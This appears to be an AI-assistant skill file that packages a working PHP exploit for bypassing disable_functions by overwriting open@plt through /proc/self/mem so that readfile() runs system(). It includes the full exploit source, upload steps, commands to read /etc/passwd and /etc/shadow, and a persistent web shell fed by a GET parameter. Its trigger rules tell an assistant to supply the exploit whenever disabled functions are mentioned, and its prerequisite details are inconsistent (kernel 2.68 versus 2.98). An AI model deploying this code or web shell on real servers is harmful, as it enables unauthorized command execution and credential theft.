Hacktricks-skills php-disable-functions-bypass

Bypass PHP disable_functions restriction using /proc/self/mem manipulation. Use this skill whenever the user needs to execute disabled PHP functions (like system(), exec(), shell_exec()) in a restricted environment, mentions PHP function restrictions, or is performing authorized security testing on PHP applications. This technique works on Linux x64 with PHP-CGI/FPM and kernel >= 2.68.

install
source · Clone the upstream repo
git clone https://github.com/abelrguezr/hacktricks-skills
manifest: skills/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-via-mem/SKILL.MD
source content

PHP disable_functions Bypass via /proc/self/mem

Overview

This skill provides a technique to bypass PHP's

disable_functions
configuration by directly manipulating the process memory through
/proc/self/mem
. This allows execution of disabled functions like
system()
,
exec()
,
shell_exec()
, etc.

Prerequisites

All conditions must be met:

  1. Kernel version >= 2.68 - Required for
    /proc/self/mem
    access
  2. PHP-CGI or PHP-FPM - mod_php does not read
    /proc/self/mem
  3. x64 architecture - The exploit is written for x64 (x32 requires modification)
  4. open_basedir=off OR bypass available - Must be able to read
    /lib/
    and
    /proc/
    directories
  5. Write access to
    /proc/self/mem
    - The process must have permission to write to its own memory

When to Use This Skill

  • User reports
    system()
    ,
    exec()
    , or similar functions are disabled in PHP
  • Security testing on PHP applications with function restrictions
  • Need to execute system commands from restricted PHP environment
  • PHP
    disable_functions
    directive is blocking required functionality

How It Works

The exploit works by:

  1. Parsing the PHP binary to find the
    open@plt
    offset
  2. Parsing libc to find
    system
    and
    open
    symbol offsets
  3. Reading
    /proc/self/mem
    to get the actual address of
    open@plt
  4. Calculating libc base from the
    open
    address
  5. Calculating system address using libc base + system offset
  6. Writing to
    /proc/self/mem
    to replace
    open@plt
    with
    system
    address
  7. Calling
    readfile()
    which now executes
    system()
    instead

Exploit Code

Save this as

disable_functions_bypass.php
:

<?php
/*
PHP disable_functions bypass via /proc/self/mem
Author: Beched, RDot.Org
Source: http://blog.safebuff.com/2016/05/06/disable-functions-bypass/

Requirements:
1. kernel >= 2.68
2. PHP-CGI or PHP-FPM (mod_php does not read /proc/self/mem)
3. x64 architecture (x32 requires modification)
4. open_basedir=off (or ability to bypass open_basedir to read /lib/ and /proc/)
*/

function packlli($value) {
    $higher = ($value & 0xffffffff00000000) >> 32;
    $lower = $value & 0x00000000ffffffff;
    return pack('V2', $lower, $higher);
}

function unp($value) {
    return hexdec(bin2hex(strrev($value)));
}

function parseelf($bin_ver, $rela = false) {
    $bin = file_get_contents($bin_ver);
    $e_shoff = unp(substr($bin, 0x28, 8));
    $e_shentsize = unp(substr($bin, 0x3a, 2));
    $e_shnum = unp(substr($bin, 0x3c, 2));
    $e_shstrndx = unp(substr($bin, 0x3e, 2));
    
    for($i = 0; $i < $e_shnum; $i += 1) {
        $sh_type = unp(substr($bin, $e_shoff + $i * $e_shentsize + 4, 4));
        if($sh_type == 11) { // SHT_DYNSYM
            $dynsym_off = unp(substr($bin, $e_shoff + $i * $e_shentsize + 24, 8));
            $dynsym_size = unp(substr($bin, $e_shoff + $i * $e_shentsize + 32, 8));
            $dynsym_entsize = unp(substr($bin, $e_shoff + $i * $e_shentsize + 56, 8));
        }
        elseif(!isset($strtab_off) && $sh_type == 3) { // SHT_STRTAB
            $strtab_off = unp(substr($bin, $e_shoff + $i * $e_shentsize + 24, 8));
            $strtab_size = unp(substr($bin, $e_shoff + $i * $e_shentsize + 32, 8));
        }
        elseif($rela && $sh_type == 4) { // SHT_RELA
            $relaplt_off = unp(substr($bin, $e_shoff + $i * $e_shentsize + 24, 8));
            $relaplt_size = unp(substr($bin, $e_shoff + $i * $e_shentsize + 32, 8));
            $relaplt_entsize = unp(substr($bin, $e_shoff + $i * $e_shentsize + 56, 8));
        }
    }
    
    if($rela) {
        for($i = $relaplt_off; $i < $relaplt_off + $relaplt_size; $i += $relaplt_entsize) {
            $r_offset = unp(substr($bin, $i, 8));
            $r_info = unp(substr($bin, $i + 8, 8)) >> 32;
            $name_off = unp(substr($bin, $dynsym_off + $r_info * $dynsym_entsize, 4));
            $name = '';
            $j = $strtab_off + $name_off - 1;
            while($bin[++$j] != "\0") {
                $name .= $bin[$j];
            }
            if($name == 'open') {
                return $r_offset;
            }
        }
    }
    else {
        for($i = $dynsym_off; $i < $dynsym_off + $dynsym_size; $i += $dynsym_entsize) {
            $name_off = unp(substr($bin, $i, 4));
            $name = '';
            $j = $strtab_off + $name_off - 1;
            while($bin[++$j] != "\0") {
                $name .= $bin[$j];
            }
            if($name == '__libc_system') {
                $system_offset = unp(substr($bin, $i + 8, 8));
            }
            if($name == '__open') {
                $open_offset = unp(substr($bin, $i + 8, 8));
            }
        }
        return array($system_offset, $open_offset);
    }
}

echo "[*] PHP disable_functions procfs bypass (coded by Beched, RDot.Org)\n";

// Check architecture
if(strpos(php_uname('a'), 'x86_64') === false) {
    echo "[-] This exploit is for x64 Linux. Exiting\n";
    exit;
}

// Check kernel version
if(substr(php_uname('r'), 0, 4) < 2.98) {
    echo "[-] Too old kernel (< 2.98). Might not work\n";
}

echo "[*] Trying to get open@plt offset in PHP binary\n";
$open_php = parseelf('/proc/self/exe', true);
if($open_php == 0) {
    echo "[-] Failed to find open@plt. Exiting\n";
    exit;
}
echo '[+] Offset is 0x' . dechex($open_php) . "\n";

// Find libc location
$maps = file_get_contents('/proc/self/maps');
preg_match('#\s+(/.+libc\-.+)#', $maps, $r);
echo "[*] Libc location: $r[1]\n";

echo "[*] Trying to get open and system symbols from Libc\n";
list($system_offset, $open_offset) = parseelf($r[1]);
if($system_offset == 0 or $open_offset == 0) {
    echo "[-] Failed to find symbols. Exiting\n";
    exit;
}
echo "[+] Got them. Seeking for address in memory\n";

// Read open@plt address from memory
$mem = fopen('/proc/self/mem', 'rb');
fseek($mem, $open_php);
$open_addr = unp(fread($mem, 8));
echo '[*] open@plt addr: 0x' . dechex($open_addr) . "\n";

// Calculate addresses
$libc_start = $open_addr - $open_offset;
$system_addr = $libc_start + $system_offset;
echo '[*] system@plt addr: 0x' . dechex($system_addr) . "\n";

echo "[*] Rewriting open@plt address\n";
$mem = fopen('/proc/self/mem', 'wb');
fseek($mem, $open_php);
if(fwrite($mem, packlli($system_addr))) {
    echo "[+] Address written. Executing cmd\n";
    // Now readfile() will execute system() instead
    readfile('/usr/bin/id');
    exit;
}
echo "[-] Write failed. Exiting\n";
?>

Usage Examples

Basic Execution

# Upload the exploit file
php disable_functions_bypass.php

# Or via web if accessible
http://target/disable_functions_bypass.php

Custom Command Execution

Modify the last line to execute different commands:

// Instead of:
readfile('/usr/bin/id');

// Use:
readfile('/bin/ls');
readfile('/etc/passwd');
readfile('/bin/cat /etc/shadow');

Web Shell Integration

For persistent access, create a web shell:

<?php
// Include the bypass code first, then:
if(isset($_GET['cmd'])) {
    readfile($_GET['cmd']);
}
?>

Verification Commands

Before attempting the exploit, verify prerequisites:

# Check kernel version
uname -r

# Check PHP SAPI
php -r 'echo php_sapi_name();'

# Check architecture
php -r 'echo php_uname("a");'

# Check if /proc/self/mem is accessible
php -r 'var_dump(file_exists("/proc/self/mem"));'

# Check disable_functions
php -i | grep disable_functions

Troubleshooting

IssueSolution
"Failed to find open@plt"PHP binary may be stripped or use different linking
"Write failed"Process lacks write permission to /proc/self/mem
"Too old kernel"Kernel < 2.68 does not support this technique
"This exploit is for x64"Modify code for x32 architecture
"open_basedir restriction"Need to bypass open_basedir first

Alternative Techniques

If this bypass fails, consider:

  1. PHP filter wrappers -
    php://filter
    for encoding bypass
  2. Object injection - PHP object deserialization exploits
  3. Extension loading -
    dl()
    if not disabled
  4. SUID binaries - Setuid PHP binaries
  5. Source code injection - Write and include PHP files

Security Notes

⚠️ AUTHORIZED USE ONLY - This technique should only be used:

  • On systems you own or have explicit permission to test
  • During authorized penetration testing engagements
  • For educational purposes in controlled environments

⚠️ DETECTION - This technique may be detected by:

  • File integrity monitoring (FIM) on /proc/self/mem access
  • Process monitoring tools
  • SELinux/AppArmor policies
  • Intrusion detection systems (IDS)

References

Test Cases

Test Case 1: Basic Bypass

Prompt: "PHP has disable_functions enabled blocking system(). How can I execute commands?" Expected: Skill triggers, provides exploit code with prerequisites

Test Case 2: Security Testing Context

Prompt: "I'm doing authorized pentesting on a PHP app. The server has exec() disabled. What bypass techniques exist?" Expected: Skill triggers, provides this technique with authorization warnings

Test Case 3: Prerequisites Check

Prompt: "Can I use /proc/self/mem bypass on PHP-FPM with kernel 3.10?" Expected: Skill triggers, confirms prerequisites are met